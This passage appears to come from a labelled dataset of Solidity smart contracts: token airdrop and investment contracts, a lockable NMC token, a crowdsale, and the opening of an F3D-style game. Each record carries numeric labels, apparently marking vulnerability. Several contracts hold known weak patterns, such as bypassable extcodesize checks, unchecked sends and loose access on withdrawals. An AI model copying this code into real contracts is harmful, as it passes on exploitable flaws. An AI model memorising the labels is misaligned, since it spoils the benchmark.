_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract BaseToken is Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public _totalLimit;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address from, address to, uint value) internal {
require(to != address(0));
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
totalSupply = totalSupply.add(value);
require(_totalLimit >= totalSupply);
balanceOf[account] = balanceOf[account].add(value);
emit Transfer(address(0), account, value);
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
}
contract AirdropToken is BaseToken {
uint256 public airMax;
uint256 public airTotal;
uint256 public airBegintime;
uint256 public airEndtime;
uint256 public airOnce;
uint256 public airLimitCount;
mapping (address => uint256) public airCountOf;
event Airdrop(address indexed from, uint256 indexed count, uint256 tokenValue);
event AirdropSetting(uint256 airBegintime, uint256 airEndtime, uint256 airOnce, uint256 airLimitCount);
function airdrop() public payable {
require(block.timestamp >= airBegintime && block.timestamp <= airEndtime);
require(msg.value == 0);
require(airOnce > 0);
airTotal = airTotal.add(airOnce);
if (airMax > 0 && airTotal > airMax) {
revert();
}
if (airLimitCount > 0 && airCountOf[msg.sender] >= airLimitCount) {
revert();
}
_mint(msg.sender, airOnce);
airCountOf[msg.sender] = airCountOf[msg.sender].add(1);
emit Airdrop(msg.sender, airCountOf[msg.sender], airOnce);
}
function changeAirdropSetting(uint256 newAirBegintime, uint256 newAirEndtime, uint256 newAirOnce, uint256 newAirLimitCount) public onlyOwner {
airBegintime = newAirBegintime;
airEndtime = newAirEndtime;
airOnce = newAirOnce;
airLimitCount = newAirLimitCount;
emit AirdropSetting(newAirBegintime, newAirEndtime, newAirOnce, newAirLimitCount);
}
}
contract InvestToken is BaseToken {
uint256 public investMax;
uint256 public investTotal;
uint256 public investEther;
uint256 public investMin;
uint256 public investRatio;
uint256 public investBegintime;
uint256 public investEndtime;
address public investHolder;
event Invest(address indexed from, uint256 indexed ratio, uint256 value, uint256 tokenValue);
event Withdraw(address indexed from, address indexed holder, uint256 value);
event InvestSetting(uint256 investMin, uint256 investRatio, uint256 investBegintime, uint256 investEndtime, address investHolder);
function invest() public payable {
require(block.timestamp >= investBegintime && block.timestamp <= investEndtime);
require(msg.value >= investMin);
uint256 tokenValue = (msg.value * investRatio * 10 ** uint256(decimals)) / (1 ether / 1 wei);
require(tokenValue > 0);
investTotal = investTotal.add(tokenValue);
if (investMax > 0 && investTotal > investMax) {
revert();
}
investEther = investEther.add(msg.value);
_mint(msg.sender, tokenValue);
emit Invest(msg.sender, investRatio, msg.value, tokenValue);
}
function withdraw() public {
uint256 balance = address(this).balance;
investHolder.transfer(balance);
emit Withdraw(msg.sender, investHolder, balance);
}
function changeInvestSetting(uint256 newInvestMin, uint256 newInvestRatio, uint256 newInvestBegintime, uint256 newInvestEndtime, address newInvestHolder) public onlyOwner {
require(newInvestRatio <= 999999999);
investMin = newInvestMin;
investRatio = newInvestRatio;
investBegintime = newInvestBegintime;
investEndtime = newInvestEndtime;
investHolder = newInvestHolder;
emit InvestSetting(newInvestMin, newInvestRatio, newInvestBegintime, newInvestEndtime, newInvestHolder);
}
}
contract CustomToken is BaseToken, AirdropToken, InvestToken {
constructor() public {
name = 'Revolution Tesla Company';
symbol = 'RTC';
decimals = 18;
totalSupply = 3000000000000000000000000;
_totalLimit = 100000000000000000000000000000000;
balanceOf[0x3eD0DF84E5BCF1AF44d05438133265c0d6035FeE] = totalSupply;
emit Transfer(address(0), 0x3eD0DF84E5BCF1AF44d05438133265c0d6035FeE, totalSupply);
owner = 0x3eD0DF84E5BCF1AF44d05438133265c0d6035FeE;
airMax = 300000000000000000000000;
airBegintime = 1551413086;
airEndtime = 1554005086;
airOnce = 300000000000000000000;
airLimitCount = 1;
investMax = 2000000000000000000000000;
investMin = 500000000000000000;
investRatio = 1500;
investBegintime = 1546315486;
investEndtime = 1548907486;
investHolder = 0x077EB386Ab262535f80dA2249aDa77Cd7000eAE6;
}
function() public payable {
if (msg.value == 0) {
airdrop();
} else {
invest();
}
}
} | 0 | 763 |
pragma solidity ^0.4.23;
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DateTimeLib {
struct _DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) internal pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
dt.hour = getHour(timestamp);
dt.minute = getMinute(timestamp);
dt.second = getSecond(timestamp);
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) internal pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) internal pure returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
}
interface IERC20 {
function totalSupply() external constant returns (uint256);
function balanceOf(address _owner) external constant returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address _spender, uint256 _value);
}
contract StandardToken is IERC20,DateTimeLib {
using SafeMathLib for uint256;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
string public constant symbol = "NMC";
string public constant name = "NamyChain Coin";
uint _totalSupply = 1000000000 * 10 ** 8;
uint8 public constant decimals = 8;
function totalSupply() external constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) {
require(_value > 0 && balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LockableToken is StandardToken {
address internal developerReservedAddress = 0xbECbC200EDe5FAC310FD0224dA88FB8eFE2cf10D;
uint[4] internal developerReservedUnlockTimes;
uint256[4] internal developerReservedBalanceLimits;
mapping(address => uint256) internal balanceLocks;
mapping(address => uint) internal timeLocks;
function getLockInfo(address _address) public constant returns (uint timeLock, uint256 balanceLock) {
return (timeLocks[_address], balanceLocks[_address]);
}
function getDeveloperReservedBalanceLimit() internal returns (uint256 balanceLimit) {
uint time = now;
for (uint index = 0; index < developerReservedUnlockTimes.length; index++) {
if (developerReservedUnlockTimes[index] == 0x0) {
continue;
}
if (time > developerReservedUnlockTimes[index]) {
developerReservedUnlockTimes[index] = 0x0;
} else {
return developerReservedBalanceLimits[index];
}
}
return 0;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) {
require(_from != 0x0 && _to != 0x0 && _value > 0x0);
if (_from == developerReservedAddress) {
uint256 balanceLimit = getDeveloperReservedBalanceLimit();
require(balances[_from].sub(balanceLimit) >= _value);
}
var(timeLock, balanceLock) = getLockInfo(_from);
if (timeLock <= now && timeLock != 0x0) {
timeLock = 0x0;
timeLocks[_from] = 0x0;
balanceLocks[_from] = 0x0;
emit UnLock(_from, timeLock, balanceLock);
balanceLock = 0x0;
}
if (timeLock != 0x0 && balanceLock > 0x0) {
require(balances[_from].sub(balanceLock) >= _value);
}
return super.transferInternal(_from, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != 0x0 && _to != 0x0 && _value > 0x0);
if (_from == developerReservedAddress) {
uint256 balanceLimit = getDeveloperReservedBalanceLimit();
require(balances[_from].sub(balanceLimit) >= _value);
}
var(timeLock, balanceLock) = getLockInfo(_from);
if (timeLock <= now && timeLock != 0x0) {
timeLock = 0x0;
timeLocks[_from] = 0x0;
balanceLocks[_from] = 0x0;
emit UnLock(_from, timeLock, balanceLock);
balanceLock = 0x0;
}
if (timeLock != 0x0 && balanceLock > 0x0) {
require(balances[_from].sub(balanceLock) >= _value);
}
return super.transferFrom(_from, _to, _value);
}
event DeveloperReservedUnlockTimeChanged(uint index, uint unlockTime, uint newUnlockTime);
event DeveloperReservedLockInfo(address indexed publicOfferingAddress, uint index, uint unlockTime, uint256 balanceLimit);
event Lock(address indexed lockAddress, uint timeLock, uint256 balanceLock);
event UnLock(address indexed lockAddress, uint timeLock, uint256 balanceLock);
}
contract TradeableToken is LockableToken {
address internal publicOfferingAddress = 0xe5eEB1357C74543B475BaAf6fED35f2B0D9e8Ef7;
uint256 public exchangeRate = 7500;
function buy(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != 0x0);
require(publicOfferingAddress != 0x0);
require(exchangeRate > 0x0);
require(_weiAmount > 0x0);
uint256 exchangeToken = _weiAmount.mul(exchangeRate);
exchangeToken = exchangeToken.div(1 * 10 ** 10);
publicOfferingAddress.transfer(_weiAmount);
super.transferInternal(publicOfferingAddress, _beneficiary, exchangeToken);
}
event ExchangeRateChanged(uint256 oldExchangeRate,uint256 newExchangeRate);
}
contract OwnableToken is TradeableToken {
address internal owner = 0xd07cA79B4Cb32c2A91F23E7eC49BED63706aD207;
mapping(address => uint) administrators;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdministrator() {
require(msg.sender == owner || administrators[msg.sender] > 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner public returns (bool success) {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
return true;
}
function addAdministrator(address _adminAddress) onlyOwner public returns (bool success) {
require(_adminAddress != address(0));
require(administrators[_adminAddress] <= 0x0);
administrators[_adminAddress] = 0x1;
emit AddAdministrator(_adminAddress);
return true;
}
function removeAdministrator(address _adminAddress) onlyOwner public returns (bool success) {
require(_adminAddress != address(0));
require(administrators[_adminAddress] > 0x0);
administrators[_adminAddress] = 0x0;
emit RemoveAdministrator(_adminAddress);
return true;
}
function isAdministrator(address _adminAddress) view public returns (bool success) {
require(_adminAddress != address(0));
return (administrators[_adminAddress] == 0x1 || _adminAddress == owner);
}
function setExchangeRate(uint256 _exchangeRate) public onlyAdministrator returns (bool success) {
require(_exchangeRate > 0x0);
uint256 oldExchangeRate = exchangeRate;
exchangeRate = _exchangeRate;
emit ExchangeRateChanged(oldExchangeRate, exchangeRate);
return true;
}
function changeUnlockTime(uint _index, uint _unlockTime) public onlyAdministrator returns (bool success) {
require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _unlockTime > 0x0);
if(_index > 0x0) {
uint beforeUnlockTime = developerReservedUnlockTimes[_index - 1];
require(beforeUnlockTime == 0x0 || beforeUnlockTime < _unlockTime);
}
if(_index < developerReservedUnlockTimes.length - 1) {
uint afterUnlockTime = developerReservedUnlockTimes[_index + 1];
require(afterUnlockTime == 0x0 || _unlockTime < afterUnlockTime);
}
uint oldUnlockTime = developerReservedUnlockTimes[_index];
developerReservedUnlockTimes[_index] = _unlockTime;
emit DeveloperReservedUnlockTimeChanged(_index,oldUnlockTime,_unlockTime);
return true;
}
function getDeveloperReservedLockInfo(uint _index) public onlyAdministrator returns (uint, uint256) {
require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _index < developerReservedBalanceLimits.length);
emit DeveloperReservedLockInfo(developerReservedAddress,_index,developerReservedUnlockTimes[_index],developerReservedBalanceLimits[_index]);
return (developerReservedUnlockTimes[_index], developerReservedBalanceLimits[_index]);
}
function lock(address _owner, uint _releaseTime, uint256 _value) public onlyAdministrator returns (uint releaseTime, uint256 limit) {
require(_owner != 0x0 && _value > 0x0 && _releaseTime >= now);
balanceLocks[_owner] = _value;
timeLocks[_owner] = _releaseTime;
emit Lock(_owner, _releaseTime, _value);
return (_releaseTime, _value);
}
function unlock(address _owner) public onlyAdministrator returns (bool) {
require(_owner != 0x0);
uint _releaseTime = timeLocks[_owner];
uint256 _value = balanceLocks[_owner];
balanceLocks[_owner] = 0x0;
timeLocks[_owner] = 0x0;
emit UnLock(_owner, _releaseTime, _value);
return true;
}
function transferAndLock(address _to, uint256 _value, uint _releaseTime) public onlyAdministrator returns (bool success) {
require(_to != 0x0);
require(_value > 0);
require(_releaseTime >= now);
require(_value <= balances[msg.sender]);
lock(_to, _releaseTime, _value);
super.transfer(_to, _value);
return true;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdministrator(address indexed adminAddress);
event RemoveAdministrator(address indexed adminAddress);
}
contract NMC is OwnableToken {
constructor() public {
balances[owner] = 500000000 * 10 ** 8;
balances[publicOfferingAddress] = 300000000 * 10 ** 8;
uint256 developerReservedBalance = 200000000 * 10 ** 8;
balances[developerReservedAddress] = developerReservedBalance;
developerReservedUnlockTimes =
[
DateTimeLib.toTimestamp(2019, 8, 1),
DateTimeLib.toTimestamp(2020, 8, 1),
DateTimeLib.toTimestamp(2021, 8, 1),
DateTimeLib.toTimestamp(2022, 8, 1)
];
developerReservedBalanceLimits =
[
developerReservedBalance,
developerReservedBalance - (developerReservedBalance / 4) * 1,
developerReservedBalance - (developerReservedBalance / 4) * 2,
developerReservedBalance - (developerReservedBalance / 4) * 3
];
}
function() public payable {
buy(msg.sender, msg.value);
}
} | 1 | 3,493 |
pragma solidity ^0.4.11;
contract token {function transfer(address receiver, uint amount){ }}
contract FazBitsCrowdsale {
uint public amountRaised; uint public resAmount; uint public soldTokens;
mapping(address => uint256) public balanceOf;
event GoalReached(address beneficiary, uint amountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
bool public crowdsaleClosed = false;
bool public minimumTargetReached = false;
address public beneficiary = 0x89464d51Af1C6edb2E116c28798C9A06e574d299;
uint public price = 0.0015 ether;
uint public minimumTarget = 100 * price;
uint public maximumTarget = 250000 * price;
uint public deadline = now + 10080 * 1 minutes;
token public tokenReward = token(0xD8a19038Ca6d75227Ad5a5d7ec335a111ad6E141);
function () payable {
if (crowdsaleClosed || (maximumTarget - amountRaised) < msg.value) throw;
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
resAmount += amount;
soldTokens += amount / price;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
if (amountRaised >= minimumTarget && !minimumTargetReached) {
minimumTargetReached = true;
GoalReached(beneficiary, minimumTarget);
}
if (minimumTargetReached) {
if (beneficiary.send(amount)) {
FundTransfer(beneficiary, amount, false);
resAmount -= amount;
}
}
}
function devWithdrawal(uint num, uint den) {
if (!minimumTargetReached || !(beneficiary == msg.sender)) throw;
uint wAmount = num / den;
if (beneficiary.send(wAmount)) {
FundTransfer(beneficiary, wAmount, false);
}
}
function devResWithdrawal() {
if (!minimumTargetReached || !(beneficiary == msg.sender)) throw;
if (beneficiary.send(resAmount)) {
FundTransfer(beneficiary, resAmount, false);
resAmount = 0;
}
}
function closeCrowdsale(bool closeType) {
if (beneficiary == msg.sender) {
crowdsaleClosed = closeType;
}
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkTargetReached() afterDeadline {
if (amountRaised >= minimumTarget) {
minimumTargetReached = true;
}
}
function returnTokens(uint tokensAmount) afterDeadline {
if (!crowdsaleClosed) throw;
if (beneficiary == msg.sender) {
tokenReward.transfer(beneficiary, tokensAmount);
}
}
function safeWithdrawal() afterDeadline {
if (!minimumTargetReached && crowdsaleClosed) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
}
} | 1 | 2,150 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DSHORT is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7140);
address private admin = msg.sender;
string constant public name = "F3DSHORT";
string constant public symbol = "F3DSHORT";
uint256 private rndExtra_ = 10 minutes;
uint256 private rndGap_ = 10 minutes;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 20 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
